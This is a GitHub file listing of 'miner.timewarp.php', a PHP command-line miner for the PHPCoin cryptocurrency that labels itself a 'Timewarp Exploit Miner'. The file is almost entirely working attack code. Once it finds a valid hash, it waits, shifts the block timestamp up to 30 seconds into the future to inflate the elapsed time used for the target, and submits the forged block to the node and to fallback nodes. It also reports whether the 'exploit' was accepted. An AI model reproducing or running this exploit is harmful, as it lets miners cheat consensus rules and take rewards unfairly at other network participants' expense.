forked from phpcoinn/node
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathminer.timewarp.php
More file actions
447 lines (394 loc) · 15.8 KB
/
miner.timewarp.php
File metadata and controls
447 lines (394 loc) · 15.8 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
<?php
if(php_sapi_name() !== 'cli') exit;
const DEFAULT_CHAIN_ID = "01";
if(Phar::running()) {
require_once 'vendor/autoload.php';
} else {
require_once dirname(__DIR__).'/vendor/autoload.php';
}
if(!defined("MINER_VERSION")) {
define("MINER_VERSION", "1.5");
}
class TimewarpMiner extends Miner
{
private $running = true;
private $hashing_time = 0;
private $hashing_cnt = 0;
private $speed;
private $sleep_time;
private $attempt;
private $forked;
private $miningNodes = [];
public $checkInterval = 10; // Default check interval in seconds
public $slipTime = 20; // Default slip time in seconds
public $waitTime = 20; // Default wait time in seconds
function measureSpeed($t1, $th) {
$t2 = microtime(true);
$this->hashing_cnt++;
$this->hashing_time = $this->hashing_time + ($t2-$th);
$diff = $t2 - $t1;
$this->speed = round($this->attempt / $diff,2);
$calc_cnt = round($this->speed * 60);
if($calc_cnt > 0 && $this->hashing_cnt % $calc_cnt == 0) {
$this->sleep_time = $this->cpu == 0 ? INF : round((($this->hashing_time/$this->hashing_cnt)*1000)*(100-$this->cpu)/$this->cpu);
if($this->sleep_time < 0) {
$this->sleep_time = 0;
}
}
}
public function start()
{
global $argv;
$this->miningStat = [
'started' => time(),
'hashes' => 0,
'submits' => 0,
'accepted' => 0,
'rejected' => 0,
'dropped' => 0,
];
$start_time = time();
$prev_hashes = null;
$this->sleep_time = (100 - $this->cpu) * 5;
$this->getMiningNodes();
while ($this->running) {
$this->cnt++;
$info = $this->getMiningInfo();
if ($info === false) {
_log("Can not get mining info", 0);
sleep(3);
continue;
}
if (!isset($info['data']['generator'])) {
_log("Miner node does not send generator address");
sleep(3);
continue;
}
if (!isset($info['data']['ip'])) {
_log("Miner node does not send ip address ", json_encode($info));
sleep(3);
continue;
}
$ip = $info['data']['ip'];
if (!Peer::validateIp($ip)) {
_log("Miner does not have valid ip address: $ip");
sleep(3);
continue;
}
$height = $info['data']['height'] + 1;
$block_date = $info['data']['date'];
$difficulty = $info['data']['difficulty'];
$reward = $info['data']['reward'];
$data = [];
$nodeTime = $info['data']['time'];
$prev_block_id = $info['data']['block'];
$chain_id = $info['data']['chain_id'];
$blockFound = false;
$now = time();
$offset = $nodeTime - $now;
$this->attempt = 0;
$bl = new Block(null, $this->address, $height, null, null, $data, $difficulty, Block::versionCode($height), null, $prev_block_id);
$t1 = microtime(true);
$prev_elapsed = null;
$bestHit = "0";
while (!$blockFound) {
$this->attempt++;
if ($this->sleep_time == INF) {
$this->running = false;
break;
}
usleep($this->sleep_time * 1000);
$now = time();
$elapsed = $now - $offset - $block_date;
$new_block_date = $block_date + $elapsed;
_log("Time=now=$now nodeTime=$nodeTime offset=$offset elapsed=$elapsed", 4);
$th = microtime(true);
$bl->argon = $bl->calculateArgonHash($block_date, $elapsed);
$bl->nonce = $bl->calculateNonce($block_date, $elapsed, $chain_id);
$bl->date = $block_date;
$hit = $bl->calculateHit();
if(gmp_cmp($hit, $bestHit) > 0) {
$bestHit = $hit;
}
$target = $bl->calculateTarget($elapsed);
$blockFound = ($hit > 0 && $target > 0 && $hit > $target);
$this->measureSpeed($t1, $th);
$s = sprintf("PID:%-8d Att:%-10d H:%-10d Diff:%-18s Elps:%-5d Hit:%-15s Bst-Hit:%-15s Tgt:%-20s Spd:%-8.2f S:%-3d A:%-3d R:%-3d D:%-3d",
getmypid(),
$this->attempt,
$height,
(string)$difficulty,
$elapsed,
(string)$hit,
(string)$bestHit,
(string)$target,
$this->speed,
$this->miningStat['submits'],
$this->miningStat['accepted'],
$this->miningStat['rejected'],
$this->miningStat['dropped']
);
if (!$this->forked && !in_array("--flat-log", $argv)) {
echo $s . " \r";
} else {
echo $s . PHP_EOL;
}
$this->miningStat['hashes']++;
if ($prev_elapsed != $elapsed && $elapsed % $this->checkInterval == 0) {
$prev_elapsed = $elapsed;
$info = $this->getMiningInfo();
if ($info !== false) {
_log("Checking new block from server " . $info['data']['block'] . " with our block $prev_block_id", 4);
if ($info['data']['block'] != $prev_block_id) {
_log("New block received", 2);
$this->miningStat['dropped']++;
break;
}
}
}
$send_interval = 60;
$t = time();
$elapsed_send = $t - $start_time;
if ($elapsed_send >= $send_interval) {
$start_time = time();
$hashes = $this->miningStat['hashes'] - $prev_hashes;
$prev_hashes = $this->miningStat['hashes'];
$this->sendStat($hashes, $height, $send_interval);
}
}
if (!$blockFound || $elapsed <= 0) {
continue;
}
// --- Timewarp Exploit Start ---
$slipTime = min(30, $this->slipTime); // Ensure slip time doesn't exceed 30 seconds
echo PHP_EOL . "[+] Block found with a valid hit: $hit" . PHP_EOL;
echo "[+] Starting Timewarp attack. Waiting {$this->waitTime} seconds to artificially inflate elapsed time..." . PHP_EOL;
sleep($this->waitTime);
echo "[+] Waited {$this->waitTime} seconds. Now manipulating timestamp..." . PHP_EOL;
$new_block_date = time() + $slipTime;
$original_elapsed = $elapsed;
$elapsed = $new_block_date - $block_date;
echo "[+] Original elapsed time: $original_elapsed" . PHP_EOL;
echo "[+] Manipulated elapsed time: $elapsed" . PHP_EOL;
echo "[+] Original block date: " . date("r", $block_date + $original_elapsed) . PHP_EOL;
echo "[+] Manipulated block date: " . date("r", $new_block_date) . PHP_EOL;
echo "----------------------------------------------------------------" . PHP_EOL;
echo "Block Found & Submitting with Timewarp:" . PHP_EOL;
echo " - Hit: " . (string)$hit . PHP_EOL;
echo " - Target: " . (string)$target . PHP_EOL;
echo " - Wait Time: " . $this->waitTime . " seconds" . PHP_EOL;
echo " - Slip Time: " . $slipTime . " seconds" . PHP_EOL;
echo " - Original Elapsed: " . $original_elapsed . PHP_EOL;
echo " - Manipulated Elapsed:" . $elapsed . PHP_EOL;
echo " - Final Timestamp: " . date("r", $new_block_date) . PHP_EOL;
echo "----------------------------------------------------------------" . PHP_EOL;
// --- Timewarp Exploit End ---
$postData = [
'argon' => $bl->argon,
'nonce' => $bl->nonce,
'height' => $height,
'difficulty' => $difficulty,
'address' => $this->address,
'hit' => (string)$hit,
'target' => (string)$target,
'date' => $new_block_date,
'elapsed' => $elapsed,
'minerInfo' => 'phpcoin-miner cli ' . VERSION,
"version" => MINER_VERSION
];
$this->miningStat['submits']++;
$res = $this->sendHash($this->node, $postData, $response);
$accepted = false;
if ($res) {
$accepted = true;
} else {
if (is_array($this->miningNodes) && count($this->miningNodes) > 0) {
foreach ($this->miningNodes as $node) {
$res = $this->sendHash($node, $postData, $response);
if ($res) {
$accepted = true;
break;
}
}
}
}
if ($accepted) {
_log("Block confirmed", 1);
$this->miningStat['accepted']++;
echo "[+] Exploit successful! The manipulated block was accepted by the node." . PHP_EOL;
} else {
_log("Block not confirmed: " . $res, 1);
$this->miningStat['rejected']++;
echo "[-] Exploit failed. The manipulated block was rejected by the node." . PHP_EOL;
}
sleep(3);
if ($this->block_cnt > 0 && $this->cnt >= $this->block_cnt) {
break;
}
_log("Mining stats: " . json_encode($this->miningStat), 2);
$minerStatFile = Miner::getStatFile();
file_put_contents($minerStatFile, json_encode($this->miningStat));
}
_log("Miner stopped");
}
function getMiningInfoFromNode($node) {
$url = $node."/mine.php?q=info";
echo "Getting info from url ". $url.PHP_EOL;
$info_json = url_get($url);
echo "Received mining info: ".$info_json.PHP_EOL;
if(!$info_json) return false;
$info = json_decode($info_json, true);
if(empty($info) || empty($info['data']) || !$info['status']=="ok") {
_log("Error getting mining info from $node", 3);
return false;
}
return $info;
}
private function sendHash($node, $postData, &$response) {
$url = $node . "/mine.php?q=submitHash&";
echo "Submitting hash to ". $url.PHP_EOL;
echo "RAW POST DATA:" . PHP_EOL;
print_r($postData);
echo "----------------------------------------------------------------" . PHP_EOL;
$res = url_post($url, http_build_query($postData), 5);
echo "Node response: ".$res.PHP_EOL;
$response = json_decode($res, true);
_log("Send hash to node $node response = ".json_encode($response));
if(!isset($this->miningStat['submitted_blocks'])) {
$this->miningStat['submitted_blocks']=[];
}
$this->miningStat['submitted_blocks'][]=[
"time"=>date("r"),
"node"=>$node,
"height"=>$postData['height'],
"elapsed"=>$postData['elapsed'],
"hashes"=>$this->attempt,
"hit"=> $postData['hit'],
"target"=>$postData['target'],
"status"=>@$response['status']=="ok" ? "accepted" : "rejected",
"response"=>@$response['data']
];
if (@$response['status'] == "ok") {
return true;
} else {
return false;
}
}
}
$node = @$argv[1];
$address = @$argv[2];
$cpu = @$argv[3];
$block_cnt = @$argv[4];
foreach ($argv as $item){
if(strpos($item, "--threads")!==false) {
$arr = explode("=", $item);
$threads = $arr[1];
}
if(strpos($item, "--slip-time")!==false) {
$arr = explode("=", $item);
$slipTime = $arr[1];
}
if(strpos($item, "--wait-time")!==false) {
$arr = explode("=", $item);
$waitTime = $arr[1];
}
if(strpos($item, "--check-interval")!==false) {
$arr = explode("=", $item);
$checkInterval = $arr[1];
}
}
if (in_array('help', $argv) || in_array('--help', $argv)) {
echo "PHPCoin Timewarp Exploit Miner (Version ".VERSION.")".PHP_EOL;
echo "Usage: php utils/miner.timewarp.php <node> <address> <cpu> [options]".PHP_EOL;
echo PHP_EOL;
echo "Arguments:".PHP_EOL;
echo " <node> The URL of the node (e.g., http://127.0.0.1)".PHP_EOL;
echo " <address> The mining address".PHP_EOL;
echo " <cpu> The percentage of CPU to use (0-100)".PHP_EOL;
echo PHP_EOL;
echo "Options:".PHP_EOL;
echo " --threads=<num> Number of threads to use for mining (default: 1)".PHP_EOL;
echo " --slip-time=<sec> The number of seconds to slip the timestamp into the future (default: 20, max: 30)".PHP_EOL;
echo " --wait-time=<sec> The number of seconds to wait after finding a block before submitting (default: 20)".PHP_EOL;
echo " --check-interval=<sec> The interval in seconds to check for new blocks (default: 10)".PHP_EOL;
echo " --help Display this help message".PHP_EOL;
exit;
}
if(file_exists(getcwd()."/miner.conf")) {
$minerConf = parse_ini_file(getcwd()."/miner.conf");
$node = $minerConf['node'];
$address = $minerConf['address'];
$block_cnt = @$minerConf['block_cnt'];
$cpu = @$minerConf['cpu'];
$threads = @$minerConf['threads'];
}
if(empty($threads)) {
$threads=1;
}
$cpu = is_null($cpu) ? 50 : $cpu;
if($cpu > 100) $cpu = 100;
echo "PHPCoin Miner Version ".VERSION.PHP_EOL;
echo "Mining server: ".$node.PHP_EOL;
echo "Mining address: ".$address.PHP_EOL;
echo "CPU: ".$cpu.PHP_EOL;
echo "Threads: ".$threads.PHP_EOL;
echo "Miner: Timewarp Exploit".PHP_EOL;
if(!empty($waitTime)) {
echo "Wait Time: ".$waitTime.PHP_EOL;
}
if(!empty($slipTime)) {
echo "Slip Time: ".$slipTime.PHP_EOL;
}
if(empty($node) && empty($address)) {
die("Usage: miner <node> <address> <cpu>".PHP_EOL);
}
if(empty($node)) {
die("Node not defined".PHP_EOL);
}
if(empty($address)) {
die("Address not defined".PHP_EOL);
}
$res = url_get($node . "/api.php?q=getPublicKey&address=".$address);
if(empty($res)) {
die("No response from node".PHP_EOL);
}
$res = json_decode($res, true);
if(empty($res)) {
die("Invalid response from node".PHP_EOL);
}
if(!($res['status']=="ok" && !empty($res['data']))) {
die("Invalid response from node: ".json_encode($res).PHP_EOL);
}
echo "Network: ".$res['network'].PHP_EOL;
$_config['enable_logging'] = true;
$_config['log_verbosity']=0;
$_config['log_file']="/dev/null";
$_config['chain_id'] = trim(file_exists(dirname(__DIR__)."/chain_id"));
define("ROOT", __DIR__);
function startMiner($address,$node, $forked) {
global $cpu, $block_cnt, $slipTime, $waitTime, $checkInterval;
$miner = new TimewarpMiner($address, $node, $forked);
if (!empty($slipTime)) {
$miner->slipTime = $slipTime;
}
if (!empty($waitTime)) {
$miner->waitTime = $waitTime;
}
if (!empty($checkInterval)) {
$miner->checkInterval = $checkInterval;
}
$miner->block_cnt = empty($block_cnt) ? 0 : $block_cnt;
$miner->cpu = $cpu;
$miner->start();
}
if($threads == 1) {
startMiner($address,$node, false);
} else {
$forker = new Forker();
for($i=1; $i<=$threads; $i++) {
$forker->fork(function() use ($address,$node) {
startMiner($address,$node, true);
});
}
$forker->exec();
}